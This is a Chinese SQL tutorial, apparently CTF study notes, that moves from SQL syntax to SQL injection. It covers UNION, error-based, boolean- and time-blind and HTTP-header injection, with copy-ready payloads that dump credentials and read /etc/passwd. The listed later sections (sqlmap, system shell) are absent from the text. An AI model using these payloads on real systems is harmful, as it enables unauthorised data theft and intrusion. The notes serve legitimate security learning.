

# SQL 注入

---

## 目录

### 第一部分：SQL 语法基础

- 1.1 SQL 简介
- 1.2 基础查询语句
  - SELECT / SELECT DISTINCT
  - WHERE 条件
  - AND / OR 逻辑运算
  - ORDER BY 排序
- 1.3 数据操作语句（DML）
  - INSERT INTO
  - UPDATE
  - DELETE
- 1.4 高级查询
  - SELECT TOP / LIMIT
  - LIKE 与通配符
  - IN / BETWEEN
  - 别名 AS
  - JOIN 连接查询
  - UNION 联合查询
  - 子查询与 EXISTS
- 1.5 数据定义语句（DDL）
  - CREATE DATABASE / TABLE
  - 约束 NOT NULL / UNIQUE / PRIMARY KEY / FOREIGN KEY / CHECK / DEFAULT

- CREATE INDEX / DROP / ALTER
- Auto Increment / 视图 / 日期
- 1.6 NULL 值处理
- 1.7 聚合函数与分组
  - AVG / COUNT / MAX / MIN / SUM
  - GROUP BY / HAVING
- 1.8 字符串与格式函数
- 1.9 数据类型快速参考

## 第二部分：SQL 注入攻防

- 2.1 漏洞原理分析
  - 2.2 漏洞危害
  - 2.3 注入点发现方法
  - 2.4 注入基础：信息收集
  - 2.5 联合查询注入（UNION）
  - 2.6 报错注入
  - 2.7 布尔盲注
  - 2.8 时间盲注
  - 2.9 HTTP 头注入
  - 2.10 宽字节注入
  - 2.11 堆叠查询注入
  - 2.12 二阶注入
  - 2.13 万能密码与登录绕过
  - 2.14 自动化盲注脚本
  - 2.15 sqlmap 使用指南
  - 2.16 获取系统权限
  - 2.17 SQL 注入防御与绕过
  - 2.18 CTF 实战解题思路
-

# 第一部分：SQL 语法基础

---

## 1.1 SQL 简介

SQL（Structured Query Language）是用于管理关系型数据库的标准语言。

常见数据库系统对比（CTF 常见）：

| 数据库        | 版本信息函数                        | 数据库名                            | 注释符       |
|------------|-------------------------------|---------------------------------|-----------|
| MySQL      | <code>version()</code>        | <code>database()</code>         | -- # /**/ |
| MSSQL      | <code>@@version</code>        | <code>db_name()</code>          | -- /**/   |
| Oracle     | <code>v\$version</code>       | <code>sys.database_name</code>  | --        |
| SQLite     | <code>sqlite_version()</code> | 无                               | -- /**/   |
| PostgreSQL | <code>version()</code>        | <code>current_database()</code> | -- /**/   |

---

## 1.2 基础查询语句

### SELECT / SELECT DISTINCT

```
-- 查询所有列
SELECT * FROM users;

-- 查询指定列
SELECT username, password FROM users;

-- 去重查询
SELECT DISTINCT department FROM employees;

-- 查询时做运算
SELECT name, salary * 12 AS annual_salary FROM employees;
```

## WHERE 条件

```
-- 基本条件
SELECT * FROM users WHERE id = 1;
SELECT * FROM users WHERE username = 'admin';

-- 比较运算符: = != <> > < >= <=
SELECT * FROM products WHERE price > 100;
SELECT * FROM products WHERE price BETWEEN 50 AND 200;

-- NULL 判断 (不能用 = , 要用 IS NULL)
SELECT * FROM users WHERE email IS NULL;
SELECT * FROM users WHERE email IS NOT NULL;
```

## AND / OR 逻辑运算

```
-- AND: 两个条件都为真
SELECT * FROM users WHERE age > 18 AND country = 'CN';

-- OR: 任一条件为真
SELECT * FROM users WHERE role = 'admin' OR role = 'superadmin';

-- 组合使用, 注意括号优先级
SELECT * FROM users WHERE (role = 'admin' OR role = 'mod') AND
active = 1;

-- NOT 取反
SELECT * FROM users WHERE NOT country = 'US';
```

## ORDER BY 排序

```
-- 升序（默认）
SELECT * FROM users ORDER BY id ASC;

-- 降序
SELECT * FROM users ORDER BY created_at DESC;

-- 多列排序
SELECT * FROM users ORDER BY role ASC, username DESC;

-- 按列序号排序（注入中常用于判断列数）
SELECT * FROM users ORDER BY 1;    -- 按第1列
SELECT * FROM users ORDER BY 4;    -- 若出错则列数 < 4
```

---

## 1.3 数据操作语句（DML）

### INSERT INTO

```
-- 插入所有列（需按顺序）
INSERT INTO users VALUES (1, 'admin', 'password123',
    'admin@example.com');

-- 插入指定列
INSERT INTO users (username, password, email)
VALUES ('mario', 'pass123', 'mario@example.com');

-- 批量插入
INSERT INTO users (username, password) VALUES
('user1', 'pass1'),
('user2', 'pass2'),
('user3', 'pass3');
```

## UPDATE

```
-- 更新单条记录
UPDATE users SET password = 'newpass' WHERE id = 1;

-- 更新多列
UPDATE users SET password = 'newpass', email = 'new@example.com'
WHERE id = 1;

-- ⚠ 无 WHERE 则更新全表!
UPDATE users SET active = 0;
```

## DELETE

```
-- 删除指定记录
DELETE FROM users WHERE id = 5;

-- 删除所有记录（保留表结构）
DELETE FROM users;

-- 清空表（更快，不可回滚）
TRUNCATE TABLE users;
```

---

## 1.4 高级查询

### SELECT TOP / LIMIT

```
-- MySQL / SQLite / PostgreSQL
SELECT * FROM users LIMIT 10;
SELECT * FROM users LIMIT 10 OFFSET 20; -- 跳过前20条，取10条
SELECT * FROM users LIMIT 20, 10;      -- 等价写法

-- MSSQL
SELECT TOP 10 * FROM users;
SELECT TOP 10 PERCENT * FROM users;

-- Oracle
```

```
SELECT * FROM users WHERE ROWNUM <= 10;
```

## LIKE 与通配符

```
-- % 匹配任意字符（0个或多个）
SELECT * FROM users WHERE username LIKE 'a%';    -- 以a开头
SELECT * FROM users WHERE username LIKE '%admin%'; -- 包含admin

-- _ 匹配单个任意字符
SELECT * FROM users WHERE username LIKE '_dmin';  -- 如admin

-- 转义特殊字符
SELECT * FROM files WHERE name LIKE '100\%' ESCAPE '\';

-- 注入中常用的 LIKE 盲注
SELECT * FROM users WHERE username LIKE 'a%';    -- 枚举首字母
```

通配符速查：

| 通配符    | 含义                    | 示例               |
|--------|-----------------------|------------------|
| %      | 任意数量任意字符              | %sql% 匹配含sql的字符串 |
| _      | 单个任意字符                | _dmin 匹配admin    |
| [abc]  | 括号内任意字符（MSSQL/Access） | [aeiou]%         |
| [^abc] | 不在括号内（MSSQL/Access）   | [^0-9]%          |

## IN / BETWEEN

```
-- IN: 匹配列表中的值
SELECT * FROM users WHERE role IN ('admin', 'superadmin', 'mod');
SELECT * FROM users WHERE id IN (1, 3, 5, 7);

-- NOT IN
SELECT * FROM users WHERE country NOT IN ('US', 'UK');

-- BETWEEN (包含边界值)
SELECT * FROM products WHERE price BETWEEN 10 AND 50;
SELECT * FROM logs WHERE date BETWEEN '2024-01-01' AND '2024-12-31';
```

## 别名 AS

```
-- 列别名
SELECT username AS user, password AS pwd FROM users;

-- 表别名 (JOIN时常用)
SELECT u.username, o.total
FROM users AS u
JOIN orders AS o ON u.id = o.user_id;

-- AS 关键字可省略
SELECT username user, password pwd FROM users;
```

## JOIN 连接查询

```
-- INNER JOIN: 两表都有匹配的行
SELECT users.username, orders.total
FROM users
INNER JOIN orders ON users.id = orders.user_id;

(users orders是表名 username total是字段(列)名)

-- LEFT JOIN: 左表全部 + 右表匹配行(无匹配补NULL)
SELECT users.username, orders.total
FROM users
```

```

LEFT JOIN orders ON users.id = orders.user_id;

-- RIGHT JOIN: 右表全部 + 左表匹配行
SELECT users.username, orders.total
FROM users
RIGHT JOIN orders ON users.id = orders.user_id;

-- FULL JOIN: 两表全部行 (MySQL不支持, 可用UNION模拟)
SELECT users.username, orders.total
FROM users
LEFT JOIN orders ON users.id = orders.user_id
UNION
SELECT users.username, orders.total
FROM users
RIGHT JOIN orders ON users.id = orders.user_id;

-- 自连接
SELECT a.username AS emp, b.username AS manager
FROM users a
JOIN users b ON a.manager_id = b.id;

```

<https://chatgpt.com/share/6a6a2f02-1ccc-83ec-90da-181ec9668c46>

## UNION 联合查询

```

-- UNION (去重) vs UNION ALL (保留重复)
SELECT username FROM users
UNION
SELECT email FROM contacts;

-- 规则:
-- 1. 两侧列数必须相同
-- 2. 对应列数据类型需兼容
-- 3. 最终列名由第一个 SELECT 决定

-- UNION ALL (不去重, 速度更快)
SELECT product FROM store_a
UNION ALL
SELECT product FROM store_b;

```

union 纵向拼接 join 横向拼接

## 子查询与 EXISTS

```
-- WHERE 中的子查询
SELECT * FROM users WHERE id IN (SELECT user_id FROM admins);

-- FROM 中的子查询（派生表）
SELECT avg_salary FROM (
    SELECT AVG(salary) AS avg_salary FROM employees
) AS temp;

-- EXISTS（存在则返回true）
SELECT * FROM users u
WHERE EXISTS (
    SELECT 1 FROM orders o WHERE o.user_id = u.id
);

-- NOT EXISTS
SELECT * FROM users u
WHERE NOT EXISTS (
    SELECT 1 FROM orders o WHERE o.user_id = u.id
);
```

---

## 1.5 数据定义语句（DDL）

### CREATE DATABASE / TABLE

```
-- 创建数据库
CREATE DATABASE mydb;
CREATE DATABASE IF NOT EXISTS mydb CHARACTER SET utf8mb4;

-- 使用数据库
USE mydb;

-- 创建表
```

```

CREATE TABLE users (
    id INT AUTO_INCREMENT,
    username VARCHAR(50) NOT NULL,
    password VARCHAR(255) NOT NULL,
    email VARCHAR(100),
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    PRIMARY KEY (id)
);

-- 查看表结构
DESC users;
SHOW COLUMNS FROM users;

```

## 约束

```

-- NOT NULL: 不允许空值
CREATE TABLE users (
    username VARCHAR(50) NOT NULL
);

-- UNIQUE: 唯一值
CREATE TABLE users (
    email VARCHAR(100) UNIQUE
);

-- PRIMARY KEY: 主键 (唯一 + 非空)
CREATE TABLE users (
    id INT PRIMARY KEY AUTO_INCREMENT
);

-- FOREIGN KEY: 外键 (参照完整性)
CREATE TABLE orders (
    id INT PRIMARY KEY,
    user_id INT,
    FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE
);

-- CHECK: 值范围约束
CREATE TABLE products (
    price DECIMAL(10,2) CHECK (price > 0)
);

```

```
);

-- DEFAULT: 默认值
CREATE TABLE users (
    role VARCHAR(20) DEFAULT 'user',
    active TINYINT DEFAULT 1
);
```

## CREATE INDEX / DROP / ALTER

```
-- 创建索引
CREATE INDEX idx_username ON users(username);
CREATE UNIQUE INDEX idx_email ON users(email);

-- 删除表 / 数据库
DROP TABLE users;
DROP DATABASE mydb;
DROP TABLE IF EXISTS users; -- 不存在也不报错

-- 修改表结构
ALTER TABLE users ADD COLUMN phone VARCHAR(20);
ALTER TABLE users DROP COLUMN phone;
ALTER TABLE users MODIFY COLUMN username VARCHAR(100);
ALTER TABLE users RENAME COLUMN username TO user_name;
ALTER TABLE users ADD PRIMARY KEY (id);
```

## Auto Increment / 视图 / 日期

```
-- Auto Increment (MySQL)
CREATE TABLE users (
    id INT NOT NULL AUTO_INCREMENT,
    PRIMARY KEY (id)
);

-- 设置起始值
ALTER TABLE users AUTO_INCREMENT = 1000;

-- 视图 (虚拟表)
CREATE VIEW active_users AS
SELECT id, username, email FROM users WHERE active = 1;
```

```
-- 使用视图
SELECT * FROM active_users WHERE username LIKE 'a%';

-- 删除视图
DROP VIEW active_users;

-- 日期函数 (MySQL)
SELECT NOW();           -- 当前日期时间
SELECT CURDATE();       -- 当前日期
SELECT CURTIME();       -- 当前时间
SELECT DATE_FORMAT(NOW(), '%Y-%m-%d'); -- 格式化
SELECT DATEDIFF('2024-12-31', '2024-01-01'); -- 日期差 (天)
```

---

## 1.6 NULL 值处理

```
-- IS NULL / IS NOT NULL
SELECT * FROM users WHERE phone IS NULL;

-- IFNULL(expr, alt): 如果为NULL返回替代值 (MySQL)
SELECT IFNULL(phone, '未填写') AS phone FROM users;

-- COALESCE(expr1, expr2, ...): 返回第一个非NULL值 (通用)
SELECT COALESCE(phone, mobile, '无联系方式') FROM users;

-- NULLIF(a, b): 若a=b则返回NULL, 否则返回a
SELECT NULLIF(score, 0) FROM results; -- 0分显示为NULL

-- NULL 注意事项
-- NULL 不等于任何值, 包括NULL本身
-- NULL + 任何值 = NULL
-- COUNT(*) 计算所有行, COUNT(列) 忽略NULL
SELECT COUNT(*) FROM users;           -- 含NULL行
SELECT COUNT(email) FROM users;       -- 忽略email为NULL的行
```

---

## 1.7 聚合函数与分组

### 聚合函数

```
-- AVG: 平均值
SELECT AVG(salary) FROM employees;
SELECT AVG(DISTINCT salary) FROM employees; -- 去重后平均

-- COUNT: 计数
SELECT COUNT(*) FROM users; -- 所有行
SELECT COUNT(email) FROM users; -- 非NULL行
SELECT COUNT(DISTINCT country) FROM users; -- 去重计数

-- MAX / MIN
SELECT MAX(salary), MIN(salary) FROM employees;
SELECT MAX(created_at) FROM users; -- 最近注册时间

-- SUM
SELECT SUM(total) FROM orders WHERE status = 'paid';

-- FIRST / LAST (Access中有, MySQL中用 LIMIT 实现)
SELECT username FROM users ORDER BY id ASC LIMIT 1; -- FIRST
SELECT username FROM users ORDER BY id DESC LIMIT 1; -- LAST
```

### GROUP BY / HAVING

```
-- GROUP BY: 分组聚合
SELECT country, COUNT(*) AS user_count
FROM users
GROUP BY country;

-- 多列分组
SELECT country, role, COUNT(*) AS cnt
FROM users
GROUP BY country, role
ORDER BY cnt DESC;

-- HAVING: 对分组结果过滤 (不能用WHERE替代)
SELECT country, COUNT(*) AS user_count
```

```

FROM users
GROUP BY country
HAVING user_count > 100;

-- WHERE VS HAVING
-- WHERE 在分组前过滤行
-- HAVING 在分组后过滤组
SELECT department, AVG(salary) AS avg_sal
FROM employees
WHERE active = 1          -- 先过滤：只看在职员工
GROUP BY department
HAVING avg_sal > 5000;    -- 再过滤：平均薪资>5000的部门

```

---

## 1.8 字符串与格式函数

```

-- UCASE() / UPPER(): 转大写
SELECT UCASE(username) FROM users;

-- LCASE() / LOWER(): 转小写
SELECT LCASE(email) FROM users;

-- MID() / SUBSTRING(): 截取字符串（注入中极其重要！）（起始位置 长度）
SELECT MID('Hello world', 1, 5);      -- 'Hello' （从1开始）（sql起始位置是1）
SELECT SUBSTRING('Hello world', 7);   -- 'world'
SELECT SUBSTR('Hello world', 7, 5);   -- 'world'

-- LEN() / LENGTH(): 字符串长度
SELECT LEN(username) FROM users;      -- MSSQL
SELECT LENGTH(username) FROM users;   -- MySQL

-- ROUND(): 四舍五入
SELECT ROUND(3.14159, 2);             -- 3.14

-- NOW(): 当前时间
SELECT NOW();

-- FORMAT(): 格式化（数字）

```

```

SELECT FORMAT(12345.6789, 2); -- '12,345.68'

-- CONCAT: 拼接字符串
SELECT CONCAT(first_name, ' ', last_name) AS full_name FROM users;

-- GROUP_CONCAT: 分组内字符串拼接（注入中常用）
SELECT GROUP_CONCAT(table_name SEPARATOR ', ')
FROM information_schema.tables
WHERE table_schema = database();

-- ASCII / CHAR
SELECT ASCII('A'); -- 65
SELECT CHAR(65); -- 'A'

-- HEX / UNHEX
SELECT HEX('admin'); -- '61646D696E'
SELECT UNHEX('61646D696E'); -- 'admin'

```

## 1.9 数据类型快速参考

| 分类  | MYSQL 类型                         | 说明                  |
|-----|----------------------------------|---------------------|
| 整数  | TINYINT SMALLINT INT BIGINT      | 1/2/4/8字节           |
| 浮点  | FLOAT DOUBLE DECIMAL(p,s)        | DECIMAL精确数值         |
| 字符串 | CHAR(n) VARCHAR(n) TEXT LONGTEXT | CHAR固定长度            |
| 二进制 | BINARY VARBINARY BLOB            | 存储二进制数据             |
| 日期  | DATE TIME DATETIME TIMESTAMP     | 日期时间类型              |
| 布尔  | TINYINT(1) / BOOLEAN             | MySQL中布尔=TINYINT(1) |
| 枚举  | ENUM('a', 'b', 'c')              | 枚举类型                |

## 第二部分：SQL 注入攻防

### 2.1 漏洞原理分析

SQL 注入（SQL Injection）发生在应用程序将用户输入未经过滤直接拼接到 SQL 语句中执行。

漏洞代码示例（PHP）：

```
// ❌ 危险写法
$username = $_GET['username'];
$sql = "SELECT * FROM users WHERE username = '$username'";
$result = mysqli_query($conn, $sql);

// 正常输入: admin
// 实际 SQL: SELECT * FROM users WHERE username = 'admin'

// 恶意输入: admin' OR '1'='1
// 实际 SQL: SELECT * FROM users WHERE username = 'admin' OR '1'='1'
// 结果: 返回所有用户!
```

注入分类：

```
SQL 注入
├─ 按回显方式
│   ├── 有回显注入（结果直接显示在页面）
│   │   ├── 联合查询注入（UNION）
│   │   └─ 报错注入（Error-Based）
│   └─ 盲注（无回显）
│       ├── 布尔盲注（Boolean-Based）
│       └─ 时间盲注（Time-Based）
├─ 按注入位置
│   ├── GET 参数注入
│   ├── POST 参数注入
│   ├── HTTP 头注入（Cookie/UA/XFF等）
│   └─ 二阶注入
└─ 按特殊技术
```

- └─ 宽字节注入
- └─ 堆叠查询注入
- └─ OOB 带外注入

## 2.2 漏洞危害

1. 数据泄露：读取数据库中所有数据（用户名/密码/隐私信息）
2. 身份绕过：绕过登录验证，以任意身份登录
3. 数据篡改：INSERT/UPDATE/DELETE 任意数据
4. 权限提升：读写系统文件（`LOAD_FILE / INTO OUTFILE`）
5. 命令执行：通过写入 WebShell 或 UDF 获取操作系统权限
6. 拒绝服务：大量 `SLEEP()` 或复杂查询拖垮数据库

## 2.3 注入点发现方法

### 手工探测

# 在参数后面添加以下字符，观察页面变化：

单引号测试：

|                     |              |
|---------------------|--------------|
| <code>?id=1'</code> | → 报错 → 可能有注入 |
| <code>?id=1"</code> | → 报错 → 双引号注入 |
| <code>?id=1\</code> | → 报错 → 转义问题  |

逻辑测试：

|                            |              |
|----------------------------|--------------|
| <code>?id=1 AND 1=1</code> | → 正常         |
| <code>?id=1 AND 1=2</code> | → 异常（布尔注入确认） |

注释测试：

|                         |                   |
|-------------------------|-------------------|
| <code>?id=1--+</code>   | → 正常（--后空格，+代表空格） |
| <code>?id=1#</code>     | → 正常              |
| <code>?id=1/**/1</code> | → 正常              |

数学运算测试：

|         |                        |
|---------|------------------------|
| ?id=2-1 | → 等同于 id=1 (页面相同则确认注入) |
| ?id=1*1 | → 等同于 id=1             |

发现url的id和输入的不一样 则用不了sqlmap

发现不是走URL的路径 --+就失效了 用--space or ---代替

## 注入点类型判断

```
-- 数字型注入 (参数值为数字)
-- 原始 SQL: SELECT * FROM users WHERE id = 1
-- 测试: id=1 AND 1=1 (正常) / id=1 AND 1=2 (异常)

-- 字符型注入 (参数值为字符串)
-- 原始 SQL: SELECT * FROM users WHERE username = 'mario'
-- 测试: username=mario' AND '1'='1 (正常) / username=mario' AND
'1'='2 (异常)
2-1的时候 页面没变化 说明是字符型

https://chatgpt.com/share/6a6af7b6-8240-83ec-9639-e5d4a154d564

-- 搜索型注入
-- 原始 SQL: SELECT * FROM users WHERE username LIKE '%mario%'
-- 测试: username=mario%' AND '%'=' (正常)
```

字符串类型需要单引号闭合 数字类型不用

字符串类型判断闭合方式: 若有报错 观察报错结果 单引双引 引加括号都试 (报错若多个 `)`, 就试 `'))` )

若本应有回显但是没回 (参数等于1 有 等于1' 无 等于1'--+ 有)

## 报错判断技巧

如果报错类似：

```
You have an error in your SQL syntax near '''
```



通常是单引号环境。

如果报错类似：

```
near '")'
```



通常是双引号环境。

如果报错类似：

```
near '')
```



通常说明括号数量不匹配，需要补 `)`。

CTF 里经常用一个口诀：

```
先试 '  
再试 "  
再试 ')  
再试 ")  
再试 '))  
再试 "))
```



基本能覆盖绝大多数字符串型注入点的闭合方式。

     ...

## 常见注入参数

URL 参数: `?id= ?uid= ?pid= ?cat= ?page= ?name= ?search=`

POST 数据: `username= password= email= keyword=`

Cookie: `PHPSESSID= user= token=`

HTTP 头: `X-Forwarded-For: User-Agent: Referer:`

## 2.4 注入基础：信息收集

MySQL 中最重要的信息收集语句（注入时必用）：

```
-- 基础信息
SELECT version();           -- 数据库版本
SELECT @@version;           -- 同上
SELECT database();          -- 当前数据库
SELECT user();              -- 当前用户
SELECT @@datadir;           -- 数据库文件路径
SELECT @@basedir;           -- 安装路径

-- 枚举所有数据库
SELECT schema_name FROM information_schema.schemata;
SELECT group_concat(schema_name) FROM information_schema.schemata;

-- 枚举当前库所有表
SELECT table_name FROM information_schema.tables
WHERE table_schema = database();

SELECT group_concat(table_name) FROM information_schema.tables
WHERE table_schema = database();

-- 枚举指定表的所有列
SELECT column_name FROM information_schema.columns
WHERE table_schema = database() AND table_name = 'users';

SELECT group_concat(column_name) FROM information_schema.columns
WHERE table_name = 'users';

-- 读取数据
SELECT username, password FROM users;
SELECT group_concat(username, ': ', password SEPARATOR '|') FROM
users;

-- 读取文件（需要 FILE 权限）
SELECT load_file('/etc/passwd');
SELECT load_file('/var/www/html/index.php');
```

## 2.5 联合查询注入（UNION）

适用条件：页面有数据回显位

### 完整注入步骤

- 查找注入点
- 判断字符or数字型注入 若字符 判断闭合方式

#### Step 1: 判断列数

```
-- 方法一: ORDER BY 逐增, 报错则超出列数
?id=1 ORDER BY 1--+ → 正常
?id=1 ORDER BY 2--+ → 正常
?id=1 ORDER BY 3--+ → 正常
?id=1 ORDER BY 4--+ → 报错 → 列数为 3
(若被拦可改group by)
-- 方法二: UNION SELECT NULL 逐增
?id=1 UNION SELECT NULL--+
?id=1 UNION SELECT NULL,NULL--+
?id=1 UNION SELECT NULL,NULL,NULL--+ → 正常 → 列数为 3
```

#### Step 2: 找回显位

```
-- 使原查询无结果 (id=-1 或不存在的值), 观察哪列显示在页面
?id=-1 UNION SELECT 1,2,3--+
-- 页面上出现 2 → 第2列有回显
-- 页面上出现 1,3 → 第1、3列有回显
(故意写-1 否则页面无变化 因为要回显的在第二行)
```

#### Step 3: 获取数据库信息

```
-- 假设回显位在第2列
?id=-1 UNION SELECT 1,database(),3--+
?id=-1 UNION SELECT 1,version(),3--+
?id=-1 UNION SELECT 1,user(),3--+

-- 获取所有数据库名
```

```

?id=-1 UNION SELECT 1,group_concat(schema_name),3
FROM information_schema.schemata--+

-- 获取表名
?id=-1 UNION SELECT 1,group_concat(table_name),3
FROM information_schema.tables
WHERE table_schema=database()--+
这里database() 也可以是'表名' 用group_concat是为了防止只显示一行

-- 获取列名
?id=-1 UNION SELECT 1,group_concat(column_name),3
FROM information_schema.columns
WHERE table_name='表名'--+

-- 获取数据
?id=-1 UNION SELECT 1,group_concat(列1,0x3a,列2),3
FROM 表名--+
-- 0x3a 是 ':' 的十六进制, 避免引号问题

```

#### Step 4: 过滤空格时的替换

```

-- 空格替换方案
/**/      → SELECT/**/1
%09       → Tab
%0a       → 换行
%0d       → 回车
()        → SELECT(1)FROM(users)

```

#### 完整 UNION 注入示例

目标: <http://target.com/item.php?id=1>

##### 1. 判断列数:

```

http://target.com/item.php?id=1 ORDER BY 3--+ 正常
http://target.com/item.php?id=1 ORDER BY 4--+ 报错
→ 3列

```

##### 2. 找回显位:

```

http://target.com/item.php?id=-1 UNION SELECT 1,2,3--+

```

→ 页面显示 "2", 回显位在第2列

3. 获取库名:

`http://target.com/item.php?id=-1 UNION SELECT 1,database(),3--+`

→ 显示 "webapp"

4. 获取表名:

`http://target.com/item.php?id=-1 UNION SELECT  
1,group_concat(table_name),3 FROM information_schema.tables WHERE  
table_schema='webapp'--+`

→ 显示 "users,products,orders"

5. 获取列名:

`http://target.com/item.php?id=-1 UNION SELECT  
1,group_concat(column_name),3 FROM information_schema.columns WHERE  
table_name='users'--+`

→ 显示 "id,username,password,email"

6. 读数据:

`http://target.com/item.php?id=-1 UNION SELECT  
1,group_concat(username,0x3a,password),3 FROM users--+`

→ 显示 "admin:5f4dcc3b5aa765d61d8327deb882cf99,mario:..."

---

## 2.6 报错注入

适用条件: 页面显示报错信息, 但没有正常数据回显位

### extractvalue 报错注入 (MySQL 5.1+)

-- 基本语法: `extractvalue(xml_frag, xpath_expr)`

-- 利用: `xpath_expr` 不合法时, 报错信息会包含内容

-- 获取数据库版本

`?id=1 AND extractvalue(1,concat(0x7e,version()))--+`

-- 报错: `XPATH syntax error: '~5.7.26'`

-- 获取当前数据库

```
?id=1 AND extractvalue(1,concat(0x7e,database()))--+
```

-- 获取所有数据库

```
?id=1 AND extractvalue(1,concat(0x7e,(SELECT  
group_concat(schema_name) FROM information_schema.schemata)))--+
```

-- 获取表名

```
?id=1 AND extractvalue(1,concat(0x7e,(SELECT  
group_concat(table_name) FROM information_schema.tables WHERE  
table_schema=database()))))--+
```

-- 获取列名

```
?id=1 AND extractvalue(1,concat(0x7e,(SELECT  
group_concat(column_name) FROM information_schema.columns WHERE  
table_name='users'))))--+
```

-- 获取数据

```
?id=1 AND extractvalue(1,concat(0x7e,(SELECT  
group_concat(username,0x3a,password) FROM users)))--+
```

-- ⚠ extractvalue 显示内容限制 32 字符，超出需分段：

```
?id=1 AND extractvalue(1,concat(0x7e,(SELECT  
group_concat(username,0x3a,password) FROM users LIMIT 0,1)))--+
```

```
?id=1 AND extractvalue(1,concat(0x7e,(SELECT  
substr(group_concat(username,0x3a,password),1,30) FROM users)))--+
```

## updatexml 报错注入 (MySQL 5.1+)

```
-- 语法: updatexml(xml_target, xpath_expr, new_xml)

-- 获取版本
?id=1 AND updatexml(1,concat(0x7e,version()),1)--+

-- 获取数据库
?id=1 AND updatexml(1,concat(0x7e,database()),1)--+

-- 获取表名
?id=1 AND updatexml(1,concat(0x7e,(SELECT group_concat(table_name)
FROM information_schema.tables WHERE table_schema=database()))),1)--+

-- 获取数据 (分段读取)
?id=1 AND updatexml(1,concat(0x7e,(SELECT
concat(username,0x3a,password) FROM users LIMIT 0,1)),1)--+
```

## floor + rand 报错注入

```
-- 通过 group by + rand() 引发主键重复报错
?id=1 UNION SELECT count(*),concat((SELECT
database()),0x3a,floor(rand(0)*2))x
FROM information_schema.tables GROUP BY x--+

-- 万能模板 (括号内替换要查询的内容):
?id=1 AND (SELECT 1 FROM (
    SELECT count(*),
    concat((SELECT (SELECT concat(0x7e,database(),0x7e)) FROM
information_schema.tables LIMIT 0,1),
    floor(rand(0)*2))x
    FROM information_schema.tables
    GROUP BY x
)a)--+
```

## 报错注入快速模板（直接复制用）

```
-- extractvalue 万能模板（把 PAYLOAD 替换为要查询的内容）
AND extractvalue(1,concat(0x7e,(PAYLOAD)))--+

-- 常用 PAYLOAD:
-- 版本: version()
-- 库名: database()
-- 所有库: (SELECT group_concat(schema_name) FROM
information_schema.schemata)
-- 所有表: (SELECT group_concat(table_name) FROM
information_schema.tables WHERE table_schema=database())
-- 所有列: (SELECT group_concat(column_name) FROM
information_schema.columns WHERE table_name='TARGET_TABLE')
-- 数据: (SELECT group_concat(COLS) FROM TARGET_TABLE)
```

## 2.7 布尔盲注

适用条件：页面有两种状态（正常/异常），无数据回显，无报错信息

### 原理

```
-- 通过条件判断，页面状态变化推断信息
-- 真 → 正常页面    假 → 异常页面（或空）

?id=1 AND 1=1--+    → 正常（条件为真）
?id=1 AND 1=2--+    → 异常（条件为假）
```

## 手工布尔盲注流程

```
-- Step 1: 确认注入存在
?id=1 AND 1=1--+    → 正常
?id=1 AND 1=2--+    → 异常

-- Step 2: 判断数据库名长度
?id=1 AND length(database())=5--+    → 异常
?id=1 AND length(database())=6--+    → 正常 → 库名长度为6
```

```

-- Step 3: 逐字符枚举库名
-- 使用 substr(string, pos, len) 和 ascii() 比较
?id=1 AND ascii(substr(database(),1,1))>100--+ → 判断第1个字符ASCII是否>100
?id=1 AND ascii(substr(database(),1,1))=119--+ → 是否等于119('w')

-- 用二分法加速:
-- ASCII可见字符范围 32-126
-- 先测 >64, 再测 >96, 逐步缩小范围

-- Step 4: 枚举表名
?id=1 AND ascii(substr((SELECT table_name FROM
information_schema.tables WHERE table_schema=database() LIMIT
0,1),1,1))=117--+
-- 117 = 'u'

-- Step 5: 枚举列名
?id=1 AND ascii(substr((SELECT column_name FROM
information_schema.columns WHERE table_name='users' LIMIT
0,1),1,1))=105--+

-- Step 6: 枚举数据
?id=1 AND ascii(substr((SELECT password FROM users WHERE
username='admin'),1,1))=53--+

```

## 布尔盲注辅助技巧

```

-- 使用 like 加速 (适合 CTF flag 格式已知情况)
?id=1 AND (SELECT password FROM users LIMIT 0,1) LIKE 'flag{%'+

-- 使用 regexp 正则
?id=1 AND (SELECT username FROM users LIMIT 0,1) REGEXP '^a'+
?id=1 AND (SELECT username FROM users LIMIT 0,1) REGEXP '^ad'+

-- 使用 in 加速 (已知字符集)
?id=1 AND substr(database(),1,1) IN ('a','b','c','d','e','f')--+

```

## 2.8 时间盲注

适用条件：页面无任何回显变化，但可以通过响应时间判断条件真假

### 基本语法

```
-- MySQL: SLEEP(n) 延迟n秒
IF(condition, SLEEP(3), 0)    -- 条件为真则延迟3秒

-- MSSQL: WAITFOR DELAY
IF (condition) WAITFOR DELAY '0:0:3'

-- Oracle: dbms_pipe.receive_message
dbms_pipe.receive_message('a',3)

-- SQLite: RANDOMBLOB 消耗 CPU
CASE WHEN (condition) THEN randomblob(100000000) ELSE 0 END
```

### MySQL 时间盲注模板

```
-- 确认注入
?id=1 AND SLEEP(3)--+          → 延迟3秒 → 存在注入
?id=1 AND IF(1=1,SLEEP(3),0)--+ → 延迟3秒

-- 判断数据库长度
?id=1 AND IF(length(database())=6,SLEEP(3),0)--+ → 延迟 → 长度为6

-- 逐字符枚举库名
?id=1 AND IF(ascii(substr(database(),1,1))=119,SLEEP(3),0)--+

-- 枚举表名
?id=1 AND IF(ascii(substr((SELECT table_name FROM
information_schema.tables WHERE table_schema=database() LIMIT
0,1),1,1))=117,SLEEP(3),0)--+

-- 枚举数据
?id=1 AND IF(ascii(substr((SELECT password FROM users LIMIT
0,1),1,1))=53,SLEEP(3),0)--+
```

```
-- 在 WHERE 后无法用 AND 时 (UPDATE/INSERT 场景)
-- 利用 SLEEP 在任何语句中生效
1;SELECT SLEEP(3)-- (堆叠注入中)
```

## BENCHMARK 替代 SLEEP (部分环境SLEEP被过滤)

```
-- BENCHMARK(count, expr): 重复执行 expr, count次
?id=1 AND IF(1=1,BENCHMARK(10000000,MD5('a')),0)--+
-- 条件为真时执行MD5运算1000万次, 导致延迟
```

## 2.9 HTTP 头注入

当应用程序将 HTTP 头信息存入数据库时 (如记录访问日志、记录来源IP等), 可通过修改 HTTP 头注入。

### 常见注入位置

```
# X-Forwarded-For (伪造IP)
X-Forwarded-For: 127.0.0.1' AND 1=1--+

# User-Agent
User-Agent: Mozilla' AND 1=1--+

# Referer
Referer: http://evil.com' AND 1=1--+

# Cookie
Cookie: user=admin' AND 1=1--+

# X-Real-IP
X-Real-IP: 1.1.1.1' AND 1=1--+
```

